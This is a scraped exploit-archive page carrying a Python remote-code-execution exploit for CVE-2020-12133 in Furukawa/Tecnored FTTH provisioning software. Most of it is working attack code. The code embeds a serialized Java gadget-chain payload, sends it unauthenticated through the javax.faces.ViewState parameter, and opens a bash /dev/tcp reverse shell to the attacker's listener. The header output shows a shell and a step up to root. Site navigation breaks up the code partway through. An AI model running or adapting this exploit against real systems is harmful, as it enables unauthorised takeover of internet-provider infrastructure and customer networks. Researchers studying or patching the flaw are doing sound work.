Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution

Authored by LiquidWorm | Site zeroscience.mk

Posted Apr 24, 2020

Furukawa Electric ConsciusMAP version 2.8.1 java deserialization remote code execution exploit.

tags | exploit, java, remote, code execution
advisories | CVE-2020-12133
SHA-256 | 0955da08cc537744d5dca5fea06f5e92ca016b5cb01825a79799c4dcb0cf48c1 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution
#
#
# Vendor: Furukawa Electric Co., Ltd. | Tecnored SA
# Product web page: https://www.furukawa.co.jp | https://www.tecnoredsa.com.ar
# Affected version: APROS Evolution | 2.8.1
#                   FURUKAWA        | 2.7.10
#                   ConsciusMAP     | 2.6.4
#                                   | 2.3.1
#                                   | 2.1.49
#                                   | 2.1.36
#                                   | 2.1.31
#                                   | 2.1.18
#                                   | 2.1.16
#                                   | 2.1.15
#                                   | 2.1.1
#                                   | 2.0.1174
#                                   | 1.8
#                                   | 1.4.70
#
# Summary: Apros Evoluation / Furukawa / ConsciusMap is the Tecnored
# provisioning system for FTTH networks. Complete administration of
# your entire external FTTH network plant, including from the ONUs
# installed in each end customer, to the wiring and junction boxes.
# Unify all the management of your FTTH network on a single platform.
# Unify all your data, whether from customers, your network, or the
# external plant in one place. APROS FTTH allows you to manage your
# entire FTTH network in a simple and globalized way with just one
# click, without being a network expert. Includes services such as:
# bandwidth limitation, Turbo Internet for time plans, BURST Internet,
# QinQ for companies, and many more. General consumption graphics and
# per customer in real time. Captive Portal for cutting or suspension
# of the service.
#
# Desc: The FTTH provisioning solution suffers from an unauthenticated
# remote code execution vulnerability due to an unsafe deserialization
# of Java objects (ViewState) triggered via the 'javax.faces.ViewState'
# HTTP POST parameter. The deserialization can cause the vulnerable JSF
# web application to execute arbitrary Java functions, malicious Java
# bytecode, and system shell commands with root privileges.
#
# ========================================================================
# $ ./furukawa.py 172.16.0.1:8080 172.168.0.200 4444
# [*] Setting up valid URL path
# [*] Starting callback listener child thread
# [*] Starting handler on port 4444
# [*] Sending serialized object
# [*] Connection from 172.16.0.1:48446
# [*] You got shell!
# tomcat7@zslab:/var/lib/tomcat7$ id
# uid=114(tomcat7) gid=124(tomcat7) grupos=124(tomcat7),1003(furukawa)
# tomcat7@zslab:/var/lib/tomcat7$ sudo su
# id
# uid=0(root) gid=0(root) grupos=0(root)
# exit
# tomcat7@zslab:/var/lib/tomcat7$ exit
# *** Connection closed by remote host ***
# ========================================================================
#
# Tested on: Apache Tomcat/7.0.68
#            Apache Tomcat/7.0.52
#            Apache MyFaces/2.2.1
#            Apache MyFaces/2.1.17
#            Apache MyFaces/2.0.10
#            GNU/Linux 4.4.0-173
#            GNU/Linux 4.4.0-137
#            GNU/Linux 4.4.0-101
#            GNU/Linux 4.4.0-83
#            GNU/Linux 3.15.0
#            GNU/Linux 3.13.0-32
#            PrimeFaces/4.0.RC1
#            Apache-Coyote/1.1
#            ACC Library 3.1
#            Ubuntu 16.04.2
#            Ubuntu 14.04.2
#            Java/1.8.0_242
#            Java/1.8.0_181
#            Java/1.8.0_131
#            Java/1.7.0_79
#            MySQL 5.7.29
#            MySQL 5.7.18
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2020-5565
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5565.php
#
# CVE ID: CVE-2020-12133
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12133
#
#
# 24.02.2020
#

import os############
import sys############
import gzip#######o###
import zlib############
import socket#########
import base64#########
import urllib#########
import requests######
import telnetlib######
import threading######
import subprocess#####

from io import BytesIO
from time import sleep
from flash import blic

class Optics:

    def __init__(self):
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 154 files
- Ubuntu 73 files
- LiquidWorm 23 files
- Debian 18 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 8 files
- T. Weber 4 files
- Julien Ahrens 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
        self.callback = None#
        self.headers = None##
        self.payload = None##
        self.target = None###
        self.lport = None####
        self.path = None#####
        self.cmd = None######

    def allears(self):
        telnetus = telnetlib.Telnet()
        print("[*] Starting handler on port {}".format(self.lport))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", self.lport))
        while True:
            try:
                s.settimeout(8)
                s.listen(1)
                conn, addr = s.accept()
                print("[*] Connection from {}:{}".format(addr[0], addr[1]))
                telnetus.sock = conn
            except socket.timeout as p:
                print("[!] Probably not vulnerable... ({poraka})".format(poraka=p))
                print("[+] Check your port mappings.")
                s.close()
                exit(0)
            break

        print("[*] You got shell!")

        #
        # UnicodeDecodeError dirty fix:
        # /usr/lib/python3.6/telnetlib.py
        # Change from 'ascii' to 'utf-8' (Lines: 553 and 556)
        #

        telnetus.interact()
        conn.close()

    def thricer(self):
        print("[*] Starting callback listener child thread")
        konac = threading.Thread(name="ZSL", target=self.allears)
        konac.start()
        sleep(1)
        self.gadget()

    def gadget(self):
        self.cmd =  "/bin/bash -c /bin/bash${IFS}-i>&/dev/tcp/"
        self.cmd += self.callback
        self.cmd += "/"
        self.cmd += str(self.lport)
        self.cmd += "<&1"

        payload =  b"\xAC\xED\x00\x05\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C"
        payload += b"\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03"
        payload += b"\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x02\x3F\x40\x00\x00\x00\x00\x00"
        payload += b"\x01\x73\x72\x00\x34\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63"
        payload += b"\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E"
        payload += b"\x73\x2E\x6B\x65\x79\x76\x61\x6C\x75\x65\x2E\x54\x69\x65\x64\x4D\x61"
        payload += b"\x70\x45\x6E\x74\x72\x79\x8A\xAD\xD2\x9B\x39\xC1\x1F\xDB\x02\x00\x02"
        payload += b"\x4C\x00\x03\x6B\x65\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61"
        payload += b"\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x03\x6D\x61\x70\x74"
        payload += b"\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B"
        payload += b"\x78\x70\x74\x00\x26\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x69\x74\x68"
        payload += b"\x75\x62\x2E\x63\x6F\x6D\x2F\x6A\x6F\x61\x6F\x6D\x61\x74\x6F\x73\x66"
        payload += b"\x2F\x6A\x65\x78\x62\x6F\x73\x73\x20\x73\x72\x00\x2A\x6F\x72\x67\x2E"
        payload += b"\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F"
        payload += b"\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A"
        payload += b"\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00"
        payload += b"\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61"
        payload += b"\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C"
        payload += b"\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72"
        payload += b"\x6D\x65\x72\x3B\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61"
        payload += b"\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65"
        payload += b"\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43"
        payload += b"\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72"
        payload += b"\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72"
        payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72"
        payload += b"\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F"
        payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73"
        payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72"
        payload += b"\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E"
        payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73"
        payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00"
        payload += b"\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70"
        payload += b"\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C"
        payload += b"\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E"
        payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D"
        payload += b"\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69"
        payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x71\x00\x7E\x00\x03\x78\x70\x76\x72"
        payload += b"\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69"
        payload += b"\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72"
        payload += b"\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D"
        payload += b"\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66"
        payload += b"\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72"
        payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38"
        payload += b"\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A"
        payload += b"\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C"
        payload += b"\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C"
        payload += b"\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B"
        payload += b"\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12"
        payload += b"\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73"
        payload += b"\x3B\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E"
        payload += b"\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C"
        payload += b"\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75"
        payload += b"\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C"
        payload += b"\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A"
        payload += b"\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D"
        payload += b"\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72"
        payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E"
        payload += b"\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x78\x70\x76\x71\x00"
        payload += b"\x7E\x00\x1B\x73\x71\x00\x7E\x00\x13\x75\x71\x00\x7E\x00\x18\x00\x00"
        payload += b"\x00\x02\x70\x75\x71\x00\x7E\x00\x18\x00\x00\x00\x00\x74\x00\x06\x69"
        payload += b"\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72"
        payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63"
        payload += b"\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00"
        payload += b"\x7E\x00\x18\x73\x71\x00\x7E\x00\x13\x75\x72\x00\x13\x5B\x4C\x6A\x61"
        payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2"
        payload += b"\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
        payload += (bytes(chr(len(self.cmd)), "utf-8"))###############################
        payload += (bytes(self.cmd, "utf-8"))###############################
        payload += b"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x01"
        payload += b"\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x0F\x73\x72\x00\x11\x6A\x61"
        payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2"
        payload += b"\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65"
        payload += b"\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D"
        payload += b"\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x78\x70\x00"
        payload += b"\x00\x00\x01\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E"
        payload += b"\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00"
        payload += b"\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09"
        payload += b"\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00"
        payload += b"\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"#######"

        jbits = BytesIO()
        with gzip.GzipFile(fileobj=jbits, mode="wb") as f:
            f.write(payload)
        serialize = base64.b64encode(jbits.getvalue())
        print("[*] Sending serialized object")

        self.headers = {
            "Accept"       : "text/html,application/xhtml+xml,application/xml;q=1.pwn",
            "Content-Type" : "application/x-www-form-urlencoded",
            "User-Agent"   : "ISP-Eye/2.51",
            "Connection"   : "keep-alive"}

        self.paramz={"javax.faces.ViewState" : serialize}
        #sleep(1)
        r = requests.post(self.target + self.path, headers=self.headers, data=self.paramz)

    def par(self):
        if len(sys.argv) != 4:
            self.usage()
        else:
            self.target = sys.argv[1]
            self.callback = sys.argv[2]
            self.lport = int(sys.argv[3])
            if not "http" in self.target:
                self.target = "http://{}".format(self.target)

    def check(self):
        print("[*] Setting up valid URL path")
        try:
            r = requests.get(self.target)
            app = r.text
```

```
            if not "FURUKAWA" in app and not "APROS" in app:
                print("[!] App not detected.")
                exit(0)
            if "FURUKAWA" in app:
                self.path = "/FURUKAWA/"
            elif "APROS" in app:
                self.path = "/APROS/"
            else:
                exit(-1337)
        except Exception as p:
            print("[!] Somethingz wrong: \n--\n{poraka}".format(poraka=p))
            exit(0)

    def framed(self):
        naslov = """
    o===========================================o
    |                                           |
    |        Furukawa Electric / Tecnored       |
    |  APROS Evolution | FURUKAWA | ConsciusMAP  |
    |           Fiber-To-The-Home (FTTH)        |
    |                                           |
    | Java Deserialization Remote Code Execution |
    |                 ZSL-2020-5565             |
    |                                           |
    o===========================================o
                          ||
                          ||
                    (\__/)||
                    (•ㅅ•)||
                    /    づ|
        """
        print(naslov)

    def usage(self):
        self.framed()
        print("Usage: ./furukawa.py <RHOST[:RPORT]> <LHOST> <LPORT>")
        print("Example: ./furukawa.py 172.16.0.1:8080 172.16.0.200 4444\n")
        exit(0)

    def main(self):
        self.par()########()
        self.check()#######()
        self.thricer()####()

if __name__ == '__main__':
    Optics().main()
```